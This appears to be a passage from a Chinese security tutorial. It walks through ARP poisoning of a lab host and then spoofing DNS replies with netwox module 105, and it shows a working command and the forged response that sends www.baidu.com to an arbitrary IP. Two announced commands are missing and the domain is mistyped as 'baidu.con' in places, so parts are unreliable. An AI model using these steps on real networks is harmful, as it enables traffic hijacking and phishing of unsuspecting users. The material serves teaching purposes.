在中间人攻击中,当用户访问特定的网站,可以通过伪造 DNS 响应,将用户引导到一个虚假的网站。netwox 工具提供的编号为 105 的模块,可以用来伪造 DNS 响应包。
【实例】已知主机 A 的 IP 地址为 192.168.59.133,主机 B 的 IP 地址为 192.168.59.135。下面介绍主机 A 对主机 B 实施 ARP 攻击,在主机 A 上监听主机 B 的 DNS 请求,并伪造 DNS 响应。
1) 主机 A 对主机 B 实施 ARP 攻击,执行命令如下:
该命令表示对主机 B 实施 ARP 攻击,伪造的是网关 192.168.59.2。执行命令后输出信息如下:
上述输出信息表示成功发起了 ARP 攻击,使主机 B 认为网关 192.168.59.2 的 MAC 地址为 00:0c:29:fd:de:b8(实施攻击的主机 A 的 MAC 地址)。
2) 在主机 A 上监听主机 B 的 DNS 请求包,并伪造 DNS 响应,使其返回指定的 DNS 响应。
例如,设置 DNS 响应包域名 www.baidu.con (http://www.baidu.con) 对应的 IP 地址为 101.102.103.104,权威名称服务器 123.baidu.com 对应的 IP 地址为 55.66.77.88。执行命令如下:
执行命令后,没有输出信息。因为主机 B 没有产生 DNS 请求。
3) 当主机 B 上产生了 DNS 请求,该请求将会被主机 A 监听到,并返回设置的 DNS 响应包的信息。
例如,当主机 B 访问 www.baidu.con (http://www.baidu.con),主机 A 监听并返回的 DNS 响应如下:
root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88 DNS_question_______________________________________________. #DNS请求 | id=22684 rcode=OK opcode=QUERY | | aa=0 tr=0 rd=1 ra=0 quest=1 answer=0 auth=0 add=0 | | www.baidu.com. A | |__________________________________________________________ | DNS_answer________________________________________________. #DNS响应 | id=22684 rcode=OK opcode=QUERY | | aa=1 tr=0 rd=1 ra=1 quest=1 answer=1 auth=1 add=1 | | www.baidu.com. A | | www.baidu.com. A 10 101.102.103.104 | | 123.baidu.com. NS 10 123.baidu.com. | | 123.baidu.com. A 10 55.66.77.88 | |__________________________________________________________ |
其中,DNS_question 部分为监听到的主机 B 发送的 www.baidu.com (http://www.baidu.com) 的 DNS 请求包信息,DNS_answer 部分为主机 A 伪造的 DNS 响应信息,成功返给了主机 B。